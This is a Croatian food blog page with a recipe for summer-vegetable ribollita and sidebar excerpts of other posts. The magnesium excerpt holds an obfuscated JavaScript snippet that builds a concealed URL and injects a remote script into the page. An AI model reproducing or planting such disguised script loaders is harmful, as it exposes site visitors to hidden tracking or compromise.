TOSKANSKA RIBOLLITA S LJETNIM POVRĆEM




Toskanska ribollita s ljetnim povrćem 




Ribollita je jedno od najpoznatijih toskanskih jela, nastalo iz skromne seoske kuhinje u kojoj se ništa nije bacalo. Ova ljetna verzija priprema se od tikvica, mahuna, špinata i aromatičnog začinskog bilja, dok je stari rustikalni kruh zaslužan za gustoću i finu, bogatu, kremastu teksturu.





Toskanska ribollita s ljetnim povrćem 


Sastojci:

  • 45 ml ekstra djevičanskog maslinova ulja, po potrebi još malo
  • 3 režnja češnjaka, tanko narezana
  • 240 g žutog luka, tanko narezanog
  • 370 g poriluka (bijeli i svijetlozeleni dio), narezanog na kockice
  • 340 g mrkve, oguljene i narezane na kockice
  • 240 g celera rebraša, narezanog na kockice
  • 2 – 3 grančice svježeg ružmarina ili timijana
  • sol
  • 1 žlica koncentrata rajčice
  • 1,5 l vode
  • 2 lovorova lista
  • komad kore od parmezana (oko 5 × 5 cm, po želji)
  • 240 g tikvica, narezanih na zalogaje
  • 240 g žutih ljetnih tikvica, narezanih na zalogaje
  • 240 g zelenih mahuna, narezanih na komade od oko 2 – 3 cm
  • 115 g svježeg špinata, grubo nasjeckanog
  • 30 g svježeg bosiljka, grubo nasjeckanog
  • svježe mljeveni crni papar
  • 110 g rustikalnog kruha (svježeg ili starog), narezanog na kockice
  • svježe naribani parmezan, za posluživanje (po želji)



Priprema:

  1. U velikom loncu zagrijte maslinovo ulje na srednje laganoj vatri pa dodajte češnjak. Kratko ga pirjajte dok zamiriše i lagano ne poprimi zlatnu boju.
  2. Dodajte luk, poriluk, mrkvu, celer te grančice ružmarina ili timijana. Lagano posolite i pirjajte oko 10 minuta, povremeno miješajući, dok povrće potpuno ne omekša, ali ne smije posmeđiti. Ako se počne lijepiti za dno lonca, dodajte još malo maslinova ulja.
  3. Umiješajte koncentrat rajčice i kuhajte oko 30 sekundi.
  4. Ulijte vodu pa dodajte lovorov list, koru parmezana, tikvice, žute tikvice, mahune, špinat i bosiljak.
  5. Zakuhajte, zatim smanjite vatru i kuhajte oko 10 minuta, uz povremeno miješanje, dok povrće ne omekša. Po potrebi dodatno posolite i popaprite.
  6. Dodajte kockice kruha i dobro promiješajte.
  7. Nastavite kuhati još oko 15 minuta, dok kruh potpuno ne omekša i ne poveže juhu u gustu, kremastu teksturu.
  8. Ako ribollita postane pregusta, postupno dolijevajte vodu, oko 120 ml odjednom, dok ne postignete željenu gustoću.
  9. rije posluživanja izvadite lovorov list, grančice začinskog bilja i koru od parmezana.
  10. Poslužite ribollitu kao gustu juhu ili kao bogato povrtno varivo.
  11. Svaku porciju završite svježe naribanim parmezanom, s malo kvalitetnog ekstra djevičanskog maslinova ulja i obilno pospite svježe mljevenim crnim paprom.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više